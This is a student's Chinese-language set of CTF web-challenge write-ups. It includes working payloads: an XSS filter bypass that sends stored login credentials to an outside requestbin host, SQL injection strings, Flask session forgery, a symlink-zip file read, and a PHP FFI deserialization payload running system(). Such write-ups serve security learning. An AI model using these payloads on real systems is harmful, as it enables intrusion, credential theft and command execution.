[SUCTF]annonymous
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $MY = create_function("" ,"die(`cat flag.php`);" );$hash = bin2hex(openssl_random_pseudo_bytes(32 ));eval ("function SUCTF_$hash (){" ."global \$MY;" ."\$MY();" ."}" ); if (isset ($_GET ['func_name' ])){ $_GET ["func_name" ](); die (); } show_source(__FILE__ );
0x01:审计
首先利用creat_function
创建了一个匿名函数,而eval函数中也实现了对该函数的调用,但是eval中创建的函数名用了openssl_random_pseudo_bytes
函数,所以很难进行爆破
但是可以从匿名函数入手,因为create_function创建匿名函数时,该函数的名字会默认为%00lambda_%d
,所以我们可以爆破后面的%d
执行对应的匿名函数
exp:
1 2 3 4 5 6 7 8 9 import requestsfor i in range (1000 ): url = 'http://3f157adf-697c-4764-b2cc-994d24033869.node4.buuoj.cn:81/?func_name=%00lambda_{}' .format (i) r = requests.get(url) if '$flag' in r.text: print (r.text) break print ("go! {}" .format (i))
就可以得到flag了
[DDCTF]homebrew event loop
打开页面,可以发现url上有不同的地方,然后还告诉了我们的信息:有多少钻石和分数,然后可以在e-shop里面购买钻石,并且可以点击Reset进行重置
之后直接看源码吧:
0x01:审计+解题
1 2 def FLAG (): return '*********************'
-trigger_event
函数用于将event元素加入session的log和执行队列中,实现对函数的执行。
1 2 3 4 5 6 7 8 def trigger_event (event ): session['log' ].append(event) if len (session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type (event) == type ([]): request.event_queue += event else : request.event_queue.append(event)
-get_mid_str
函数用于在后面的execute_event_loop
函数中截取用于执行的函数
1 2 3 4 5 def get_mid_str (haystack, prefix, postfix=None ): haystack = haystack[haystack.find(prefix)+len (prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystack
-execute_event_loop
函数用于执行url中我们用get传入的函数,而我们所利用的也是这个函数,因为我们想要执行多个函数,所以我们要利用trigger_event将我们想要执行的函数放入执行队列中,但是由于eval函数,所以要用%23绕过,之后再在每个要执行的函数之间用#进行分割就实现了多函数调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def execute_event_loop (): valid_event_chars = set ( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len (request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp
-buy_handler
函数购买钻石,参数为买的钻石的个数,然后买的个数加入session的num_items中,这里的num_items刚好和后面的get_flag函数相应,所以我们要实现num_itemsa>=5,但是还要注意在consume_point_function
函数中的报错RollBackException()
,这个要求一次购买的钻石个数不能超过3个,所以不能一次性买5个,但是我们可以分次数购买
1 2 3 4 5 6 7 def buy_handler (args ): num_items = int (args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format (args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format ( num_items), 'action:view;index' ])
- 在最后的get_flag_handler
函数中可以发现,如果买到的钻石个数大于5的话,就可以执行trigger_enent和FlAG函数得到flag了,并且trigger_event函数会把字符串放入session里面的log中,所以就可以通过看session来得到flag,而从前面也可以发现session被加密了,直接用脚本解密就好啦
1 2 3 4 5 def get_flag_handler (args ): if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' )
payload:
1 ?action:trigger_event%23 ;action:buy 2 ;%23action:buy 3 ;%23action:get_flag;%23
base64解密之后得到flag
[CISCN2019]Web4 打开页面,点击之后发现直接转到了百度的界面,看url就可以发现着手点了
可能存在ssrf之类的漏洞,直接试着查看/flag
,但是返回了hacker,说明flag被ban了
之后查看一些文件也看不出有什么可以利用的,那么就先抓个包吧
发现session的值很想jwt的格式
那就直接去用脚本强制解密一下看看
解密之后发现后面是www-data
,那么有可能就是我们要修改session伪造身份,才有资格访问
但是现在有两个问题,一个是不知道真正的用户是什么,然后还有一个是不知道加密的密钥是什么,当然我们可以猜测存在python文件,但是该怎么才能得到源码呢
因为这是一个flask框架,但是尝试之后还是没找到,最后看了别人的wp
(但是不知道为什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
之后就可以进行审计啦,根据前面有# encoding:utf-8
,我们可以猜测是python2的环境(纯个人方法
审计源码之后我们可以发现flag
路由,且要实现username为fuck才能读取flag文件,但是接下去还有一个问题就是密钥
重点在于:
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 )
百度之后可以知道,random.seed里面的值是种子,存在seed之后,再执行random函数的时候生成的随机数的伪随机数,所以我们可以通过获取seed来知道我们需要的随机数
所以现在的重点在于uuid.getnode()
,百度之后发现这个是用来获取mac地址(物理地址)的
https://www.jianshu.com/p/b4102e3e3e96
所以得到了mac地址(ae:f8:1f:75:7c:c0
),而seed里面是十进制,所以要将mac地址转化为十进制:
exp:(注意这里要用python2,因为python3和python2保留的小数位数不同
1 2 3 4 5 6 7 8 9 10 11 12 import uuidimport randommac = "ae:f8:1f:75:7c:c0" temp = mac.split(':' ) temp = [int (i,16 ) for i in temp] temp = [bin (i).replace('0b' ,'' ).zfill(8 ) for i in temp] temp = '' .join(temp) mac = int (temp, 2 ) random.seed(mac) randStr = str (random.random()*233 ) print (randStr)
之后直接对session加密:
修改session,并访问flag路由得到flag
[WMCTF]Make PHP Great Again
源码:
1 2 3 4 5 6 <?php highlight_file(__FILE__); require_once 'flag.php' ; if (isset($_GET['file' ])) { require_once $_GET['file' ]; }
代码很短,知识点是绕过require_once
不能重复包含的限制
分析 (慢慢看
payload:
1 ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
[RootersCTF]babyWeb
打开靶机,直接告诉了我们ban了union|sleep|'|"| or |-|benchmark
,随便在框里输入数字时会发现这应该是数字型注入,所以被ban掉的引号没有印象
解法一:万能密码
解法二:手注
1 2 3 4 5 6 1 order by 2 1^updatexml(1,concat(0x7e,database(),0x7e),1) 1^updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) 1^updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),0x7e),1) 1^updatexml(1,concat(0x7e,(select uniqueid from users),0x7e),1) # ~837461526918364526,123456789928466788~
之后在输入框中输入查询到的uniqueid的值,就可以得到flag了
(注:这里存在一个点,就是过滤了单引号在table_name=’users’中不能使用,可以用十六进制绕过)
[GWCTF 2019]mypassword 打开靶机,无法注入,但是可以在feedback里面写内容
看了源码之后可以发现代码块,这里的黑名单是进行字符串替换的,那我们在被过滤的字符串中间加上cookie就可以绕过了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (is_array($feedback )){ echo "<script>alert('反馈不合法');</script>" ; return false ; } $blacklist = ['_' ,'\'' ,'&' ,'\\' ,'#' ,'%' ,'input' ,'script' ,'iframe' ,'host' ,'onload' ,'onerror' ,'srcdoc' ,'location' ,'svg' ,'form' ,'img' ,'src' ,'getElement' ,'document' ,'cookie' ]; foreach ($blacklist as $val ) { while (true ){ if (stripos($feedback ,$val ) !== false ){ $feedback = str_ireplace($val ,"" ,$feedback ); }else { break ; } } }
可以尝试写入<scricookiept>alert(1)</scrcookieipt>
,之后再进行访问,可以发现可能存在xss攻击,但是之后不知道该怎么利用反射性xss攻击去读取flag
之后看登陆界面的js源码,账户和密码都被填入了表单,那么猜测flag或许可能是账户或者密码,那么可以构造poc获取密码和账户。
1 2 3 4 5 6 7 8 9 10 11 12 13 if (document .cookie && document .cookie != '' ) { var cookies = document .cookie.split('; ' ); var cookie = {}; for (var i = 0 ; i < cookies.length; i++) { var arr = cookies[i].split('=' ); var key = arr[0 ]; cookie[key] = arr[1 ]; } if (typeof (cookie['user' ]) != "undefined" && typeof (cookie['psw' ]) != "undefined" ){ document .getElementsByName("username" )[0 ].value = cookie['user' ]; document .getElementsByName("password" )[0 ].value = cookie['psw' ]; } }
poc(这里可以利用requestbin),之后就可以在requestbin那里获取到代码执行的信息,得到flag:
1 2 3 4 5 6 7 8 9 <inpcookieut type="text" name="username" ></inpcookieut> <inpcookieut type ="text" name ="password" > </inpcookieut > <scricookiept scookierc ="./js/login.js" > </scricookiept > <scricookiept > var uname = documcookieent.getElemcookieentsByName("username")[0].value; var passwd = documcookieent.getElemcookieentsByName("password")[0].value; var res = uname + " " + passwd; documcookieent.locacookietion="http://http.requestbin.buuoj.cn/*/?a="+res; </scricookiept >
[NESTCTF 2019]Love Math 2 之前做过类似的题目
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); if (!isset ($_GET ['c' ])){ show_source(__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen($content ) >= 60 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
审计代码+审题
规定get传入的值长度要小于60,且不能有空格等特殊符号,除此之外对于使用的数学函数进行了限制,但是看过之后没有可以在字符和数值之间转换的函数,那么应该是不能直接利用的
那或许我们可以利用取反或者异或运算来得到我们想要的函数
比如我们像执行的代码为:system('cat /flag');
也可以构造$_GET[1]($_GET[2]);
可以试着写个脚本跑一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $str = '1234567890!@#$%^&*()_+=-' ;$whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];foreach ($whitelist as $key => $value ) { for ($j = 0 ;$j < 9 ;$j ++){ for ($k = 0 ;$k < 9 ;$k ++){ $a = ($value ^ $j .$k ); if ($a == '_G' || $a == 'ET' ) echo $value ."^" .($j .$k )." = $a " ."\n" ; for ($i = 0 ;$i < 9 ;$i ++){ $b = $value ^ ($j .$k .$i ); if ($b == 'SYS' || $b == 'GET' ) echo $value ."^" .($j .$k .$i )." = $b " ."\n" ; } } } }
最后选最短的几个来组成payload吧:(注意这里的64的类型要是字符串
1 ?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls%20/
之后cat一下就可以得到flag了
[BSidesCF 2019]Pick Tac Toe 打开靶机,不知道为什么点击没反应,F12之后发现cookie里面有session,但是base64解码之后只看出来了又sessionid,之后查看了一下源码,发现原来每个格子都对应着一个id
并且有action=/move
而input标签可以利用move输入对应的值,那么随便试一下,好嘛,这不就是我们经常玩的井字棋嘛
那就直接选三个可以连起来的进行post传值就可以得到flag了
payload:(直接强制性传就好啦 即使br处出现了圆圈也不会有什么影响
[RootersCTF2019]ImgXweb
打开靶机,开始是登陆注册,先试一下admin万能密码登录,没有成功,注册admin发现admin用户已存在,那先随便注册一个账号进去吧
然后发现是文件上传,都试了一遍之后可以确定不是文件上传的漏洞了
抓包之后发现cookie里面有sessionid,格式明显就是jwt,直接解码看看
说明我们可以伪造我们的身份为admin,然后进去看看,但是现在重点是怎么获得密钥
遇事不决,扫一下后台把,发现有robots.txt(太久没做题,导致有时候应该能直接自己试出来的东西要从头开始过了害
查看robots.txt之后可以得到密钥啦:you-will-never-guess
直接解密之后加密,抓包放包:
发现有flag.png,但是发现个问题,直接访问是得不到flag的,想到之前可以利用curl下载文件
用curl试了好多命令之后,没想到直接curl url就可以得到flag了,还得继续学习curl的用途呢
[SWPU2019]Web3
打开靶机,登录页面没有限制,登录进去之后有upload界面,但是没有权限,并且3秒之后自动返回首页,F12查看cookie之后发现有session值,格式很像jwt,但是jwt解码之后出现乱码,那也可能是flask session,用脚本强制解码之后可以得到:
其中,后面的username和password解码之后都是default,那么猜测如果把username改成admin会怎么样,但是没有密钥,那么试着看看robots.txt有没有提示,发现有这个文件,虽然返回了404 not found
但是页面加载是200,说明是存在这个文件的,可以在F12之后发现某个特别的内容:
base64解码之后得到密钥:(虽然不确定后面的那些符号是不是,先测试一下
1 SECRET_KEY:keyqqqwwweee!@#$%^&*
可以发现是正确的呢,那就直接伪造啦(这里是试了好多次之后,都不对,看了别的师傅的wp之后
1 {'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}
可以得到:
1 .eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.Yek0bA.1lnXSowFDjHbyuAnUGKfWtYEN84
抓包修改之后就获得了文件上传的权限,看源码可以得到文件上传的python源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 @app.route('/upload' ,methods=['GET' ,'POST' ] ) def upload (): if session['id' ] != b'1' : return render_template_string(temp) if request.method=='POST' : m = hashlib.md5() name = session['password' ] name = name+'qweqweqwe' name = name.encode(encoding='utf-8' ) m.update(name) md5_one= m.hexdigest() n = hashlib.md5() ip = request.remote_addr ip = ip.encode(encoding='utf-8' ) n.update(ip) md5_ip = n.hexdigest() f=request.files['file' ] basepath=os.path.dirname(os.path.realpath(__file__)) path = basepath+'/upload/' +md5_ip+'/' +md5_one+'/' +session['username' ]+"/" path_base = basepath+'/upload/' +md5_ip+'/' filename = f.filename pathname = path+filename if "zip" != filename.split('.' )[-1 ]: return 'zip only allowed' if not os.path.exists(path_base): try : os.makedirs(path_base) except Exception as e: return 'error' if not os.path.exists(path): try : os.makedirs(path) except Exception as e: return 'error' if not os.path.exists(pathname): try : f.save(pathname) except Exception as e: return 'error' try : cmd = "unzip -n -d " +path+" " + pathname if cmd.find('|' ) != -1 or cmd.find(';' ) != -1 : waf() return 'error' os.system(cmd) except Exception as e: return 'error' unzip_file = zipfile.ZipFile(pathname,'r' ) unzip_filename = unzip_file.namelist()[0 ] if session['is_login' ] != True : return 'not login' try : if unzip_filename.find('/' ) != -1 : shutil.rmtree(path_base) os.mkdir(path_base) return 'error' image = open (path+unzip_filename, "rb" ).read() resp = make_response(image) resp.headers['Content-Type' ] = 'image/png' return resp except Exception as e: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' return render_template('upload.html' ) @app.route('/showflag' ) def showflag (): if True == False : image = open (os.path.join('./flag/flag.jpg' ), "rb" ).read() resp = make_response(image) resp.headers['Content-Type' ] = 'image/png' return resp else : return "can't give you"
可以知道upload路由里进行文件上传并且对文件解压缩之后查看文件内容
而showflag路由里面,由于if条件永假,所以我们无法通过该路由获取flag,但是这个路由告诉我们flag文件所在的路径./flag/flag.jpg
之后看了别的师傅的wp:参考 这里提到了软连接的使用
命令:(注意 这里的flag文件需要绝对路径
1 2 ln -s /proc/self/cwd/flag/flag.jpg test zip -ry test.zip test
上传文件,抓包得到flag
[RCTF 2019]Nextphp
代码:
1 2 3 4 5 6 <?php if (isset ($_GET ['a' ])) { eval ($_GET ['a' ]); } else { show_source(__FILE__ ); }
先看看phpinfo里面给了我们什么信息,经典常用命令执行函数都被ban了
随便尝试一下,很多函数例如var_dump,print_r,echo,file_get_contents,file_put_contents都没有被ban,还是有机会的:
1 ?a=var_dump(scandir('.'));
回显:
1 array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(11) "preload.php" }
查看文件:
1 ?a=file_get_contents("/var/www/html/preload.php");
回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php final class A implements Serializable { protected $data = [ 'ret' => null , 'func' => 'print_r' , 'arg' => '1' ]; private function run ( ) { $this ->data['ret' ] = $this ->data['func' ]($this ->data['arg' ]); } public function __serialize ( ): array { return $this ->data; } public function __unserialize (array $data ) { array_merge($this ->data, $data ); $this ->run(); } public function serialize ( ): string { return serialize($this ->data); } public function unserialize ($payload ) { $this ->data = unserialize($payload ); $this ->run(); } public function __get ($key ) { return $this ->data[$key ]; } public function __set ($key , $value ) { throw new \Exception ('No implemented' ); } public function __construct ( ) { throw new \Exception ('No implemented' ); } }
虽然这里可以利用$this->data['ret'] = $this->data['func']($this->data['arg']);
来执行函数,但是最重要的还是很多函数被ban了
这里要用到php的一个扩展FFI扩展 ,它支持php调用c的代码
FFI::cdef([string ![cdef = “” , string lib = null]]): FFI
所以可以构造poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php final class A implements Serializable { protected $data = [ 'ret' => null , 'func' => 'FFI:cdef' , 'arg' => 'int system(char* command)' ]; public function serialize ( ): string { return serialize($this ->data); } public function unserialize ($payload ) { $this ->data = unserialize($payload ); $this ->run(); } } $a = new A();echo urlencode(serialize($a ));
payload:
1 ?a=unserialize(urldecode('C%3A1%3A%22A%22%3A89%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A26%3A%22int+system%28char+%2Acommand%29%3B%22%3B%7D%7D'))->__serialize()['ret']->system('cat /flag>/var/www/html/1.txt');
最后 第一周结束了,感觉学到的新知识也不是很多,很多遇到的新知识都没有彻底理解,下周效率要高一点了
~